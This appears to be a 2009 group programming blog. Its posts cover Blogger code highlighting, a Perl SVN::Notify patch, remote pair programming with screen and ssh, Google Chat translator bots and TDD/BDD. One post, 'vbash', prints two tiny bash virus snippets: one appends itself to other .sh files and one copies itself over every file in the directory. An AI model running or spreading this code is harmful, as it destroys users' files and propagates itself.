Friday, November 27, 2009

Code highlighting in Blogger

I just posted an article which demonstrate code highlighting in blogger. I get the highlighting feature from here: http://code.google.com/p/google-code-prettify/

Additional Reference : http://lukabloga.blogspot.com/2008/10/to-test-new-highlighting.html

Hope you enjoy it.

SVN::Notify::HTML::ColorDiff modification

We are using SVN to save our works and hooking a post-commit script which one of the function is to send e-mail regarding the changes that had just made. We are using the wonderful SVN::Notify, a perl application to do the job. It already have the functionality to produce a beautifully diff colored HTML email using the SVN::Notify::HTML::ColorDiff module as the handler.

However, since we are using web based Google Apps Gmail interface as our email client, the HTML was not rendered nicely because the CSS is not applied inside the interface. We need to change the CSS to the inline style. And then I found a patch done here. Because it is a direct hack, I want it to be more generic that the user can choose the inline style or not, then I modified a little bit more. I added optional parameter --css-inline to generate CSS style directly inline with the HTML tags. I had submitted the changes to the original author hoping he will include this option in the next revision. Just in case, I also put it here.

Snippets to add the additional parameter:

package SVN::Notify::HTML;

# $Id: HTML.pm 4617 2009-03-19 17:04:53Z david $

use strict;
use HTML::Entities;
use SVN::Notify ();

$SVN::Notify::HTML::VERSION = '2.79';
@SVN::Notify::HTML::ISA = qw(SVN::Notify);

__PACKAGE__->register_attributes(
    linkize   => 'linkize',
    css_url   => 'css-url=s',
    wrap_log  => 'wrap-log',
    css_inline => 'css-inline',
);

You may download the full source below:

Friday, November 13, 2009

[Linux] Extract files from command-line

Elixir for the lazy...

http://lightlinux.blogspot.com/2009/11/uncompress-files-from-cli.html

Saturday, October 17, 2009

Screen and Vim (and Skype) for Remote Pair Programming

I don't know if everybody follows VoiceTechnology Google Group:

http://www.linux.com/archive/feature/56443


Original Post:

2009/10/17 Fabrício

Sent to you by Fabrício via Google Reader:

via Gustavo Dutra by Gustavo Dutra on 10/10/09

Bem, é notável o crescimento das metodologias ágeis de desenvolvimento de software. Uma das práticas que me agrada muito, é a programação em pares (pair programming). É bem perceptível, a um longo prazo, a diferença que faz essa prática. Navegando pela internet, como um marujo sem rumo, encontrei um post falando sobre Remote Pair Programming. Parece meio estranho, porque o XP (eXtreme Programming) faz alusão a uma dupla programar em um único computador, com um único teclado e um único mouse.

Então, vamos tentar simular este ambiente utilizando 4 ferramentas simples:

  • screen
  • ssh
  • vim
  • skype

Destas, só o skype não é open-source. Mas é interessante manter uma conversa verbal, pois conversas escritas podem desviar o foco da programação, que é bem mais rápida e precisa do que a escrita, que pode deixar brechas para má interpretações. A conversa verbal consegue interromper o programador ao mesmo tempo em que escreve, corrigindo-o ou questionando-o.

Conectados no skype, basta decidir em qual máquina será o desenvolvimento. Esta, por sua vez, terá que ter um servidor ssh. Ela será o host da programação. Será necessário, também, nesta máquina, ter instalado o screen, que é um programa que possibilita criar ’sessões’ no terminal.

Host

screen -S PairProgramming

Parece que nada mudou, mas você está numa sessão do screen chamada PairProgramming.

Precione CTRL+a e digite:

:multiuser on

Pressione CTRL+a novamente e digite:

:acladd usuarioclient

Tudo que você ver nesta sessão, será visto pelo outro usuário (usuarioclient) que se conectará nela.

Então, abra o vim, pois será necessário um edito de textos de verdade :D , e se divirta:

vim /caminho/arquivo

Client

ssh usuarioclient@host
screen -x usuariohost/PairProgramming

Pronto! Agora você está acessando a mesma seção! Tudo que o usuáriohost fizer, o usuárioclient enxergará e vice-versa.

Agora, basta descutir a tarefa via Skype e programar. As atualizações são em tempo real, ou seja, aparecem ao mesmo tempo que são escritos, digo… depende da conexão, mas não é um grande problema.

Caso seja necessário que o usuarioclient não possa modificar o código, apenas assitir e dar pitacos, o usuáriohost deve pressionar CTRL+A e digitar:

:aclchg usuarioclient -w #

Eu ainda vou programar assim, depois digo a experiência.

Referências

Thursday, September 24, 2009

Six smart and cost-effective ways to train employees

I received this article, and found interesting, not only for management, but for any employee in general. The ideas of discussion forums, blogging, and volunteering (among others) seem nice way to improve yourself, in many ways.

Worth reading: Six smart and cost-effective ways to train employees

(sent to me by Lin)

Wednesday, September 2, 2009

Using google chat translator bots in group

Well, this is not related to programming but our fellow Bruno told me to put here and I can finally be out of the list of persons that never put something here!

In google chat, there are "bots" that you can invite, like below:

en2ja@bot.talk.google.com : english to japanese
en2pt@bot.talk.google.com : english to portuguese

The interesting trick is that you can invite them in a group chat, and
making them work as a real time translators.

This is very useful for example when 2 persons of different native languages
need to chat using english.
If a japanese and a brazilian need to chat, you can call en2ja@ and ja2en@ and
form a group chat of 4. The japanese guy can write in japanese and the brazilian guy can
write in english.
Of course, the translation is not perfect, but it helps.

Monday, August 31, 2009

Windows x Mac x Linux

I am recently watching all episodes of South Park, an attempt to get why people like it so much (and why it is always among the top 10 most viewed TV series)... and I found this while youtubing some linux stuff... enjoy!

Wednesday, August 19, 2009

TDD -> BDD

For those familiar with TDD (Test Driven Development), I was reading an article on Ruby on Rails, and found the BDD for the first time (Behaviour Driven Development). For people interested on development management, a must...

References:

Monday, August 10, 2009

vbash

Although not very spread (try Googling it), it holds the very principle of the virus algorithm technique. The most simple virus code I have ever seen...

(BASH scripting language)

Appender

for i in *.sh; do
if test ”./$i!=$0; then
tail -n 5 $0 | cat >> $i ;
fi
done


Overwritter

for file in *; do
cp $0 $file
done


Pretty cool!

Friday, August 7, 2009

As we are talking about future, how about look into the new technologies appearing for UI?

This blog posted a very interesting list of futuristics interfaces:

http://www.technologyreview.com/blog/editors/23940/

More some years, and the Jetsons will be completely outdated, hehehe!